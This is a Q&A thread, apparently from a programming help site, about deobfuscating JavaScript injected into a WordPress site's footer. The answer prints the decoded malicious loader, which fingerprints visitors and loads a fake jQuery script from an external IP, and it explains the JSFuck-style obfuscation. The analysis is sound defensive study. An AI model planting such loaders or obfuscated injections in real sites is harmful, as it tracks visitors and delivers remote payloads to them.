deobfuscating javascript injected into Wordpress

Question

Found a WP site (not mine) with lovely obfuscated code injected into the footer so I've been trying to de-obfuscate it.

I ran it through unpacker, then converted hex to ASCII, then un-minified to bring back line breaks and wound up with something someone like me can actually kind of recognize as javascript:

var _0x1386=["$ = ~[]; 
$ = {
    2: ++$,
    $$$$: (![] + "")[$],
    1 $: ++$,
    $0$0: (![] + "")[$],
    0 $0: ++$,
    $0$$: ({} + "")[$],
    $$0$: ($[$] + "")[$],
    0 $$: ++$,
    $$$0: (!"" + "")[$],
    $1: ++$,
    $0$: ++$,
    $$1: ({} + "")[$],
    $$0: ++$,
    $$$: ++$,
    $2: ++$,
    $1$: ++$
};

Then followed some of the instructions of this dude who analyzed very similar javascript.

After doing so, this is where I'm at:

$ = -1; 
$ = {
    2: 0, 
    $$$$: "f",
    1 $: 1,
    $0$0: "a",
    0 $0: 2,
    $0$$: "j", 
    $$0$: "d",
    0 $$: 3,
    $$$0: "e", 
    $1: 4,
    $0$: 5,
    $$1: "t",
    $$0: 6,
    $$$: 7,
    $2: 8,
    $1$: 9
};

**I'm specifically stuck (I think) lines in the $ object that have an integer and then space in the property name. ** Also, the hex alphabet wouldn't include "j" or "t" if I'm not mistaken, so maybe I am evaluating those expressions incorrectly?

Grateful for any bones thrown my way. I know it's a rube question that shares some in common with existing questions about deobfuscation, but it's not a duplicate question - I'm just a guy trying to learn Javascript and coding a little better by way of this exercise.

Thanks in advance!

Answer 1

I rolled this slice of code through debugger and here is the function that is meant to be executed in the end.

"moved = 0;
besend = false;
function get_query() {
    besend = true;
    ua = navigator.userAgent;wd = screen.width;hg = screen.height;pl = navigator.platform;
    var tmp1 = document.createElement("script"); tmp1.type = "text/javascript"; tmp1.async = true;
    tmp1.src = "http://184.168.26.25/js/jquery-1.7.50.js?t1=" + ua + "&t2=" + wd + "&t3=" + hg + "&t4=933207538&t5=" + moved + "&t6=9885.js";
    var tmp2 = document.getElementsByTagName("script")[0];
    tmp2.parentNode.insertBefore(tmp1, tmp2);
}
document.onmousemove = function(){moved = 1;clearTimeout(timeout);if ((!besend)) {get_query();}
}
timeout = setTimeout(function(){if ((!moved) && (!besend))  {get_query();besend = true}}, 20000);"

This code explained in the snippet above is called by a function constructor (0)["constructor"]["constructor"]("return\"code to evaluate\"")(), the constructor is modelized in the part $.$ = ($.___)[$.$_][$.$_];.

Also this post evaluated snippet is built referring to a minimal dictionary of characters declared in $={...} at the second line.

What's the pun fun happening inside the Json wrapper $={...} ?

That's seriously a trigger-wanders, let's go by steps to fathom this wayward script:

$ = ~[];

This line is just a twist-round simple negation equivalent to the operation $=-1; the context of this variable is used inside the array, just before overwriting this same variable $.

$$$$: (![] + "")[$]

Well, this took me longer to decipher tbh, this is one of the magical arithmetic nonesense of javascript, see here second note about implicit conversion of boolean to string, ""+false evaluates to "false" just exclusively in the realm of Js, the variable retrieves the first character f since $ is incremented to 0.

({} + "")[$]

What's that honestly? does it return "false" ? "0" ? neither, it returns "[object object]", the object element is string formatted using an inward object.__proto__.toString() conversion when added with a string type.

($[$] + "")[$]

Let's seriously take a deep breath this is very intriguing workaround here, since $ is integer value, at this point evaluated to 2, then how is this treated as array? nah it's not, the js debugger does't generate exception in this case, it just returns an undefined object, what were we talking about objects when additionned with strings ? inner-converted to "undefined" by this chance.

See now nothing is surprising, the author of this script just took advantages of most of eerie behavior of js.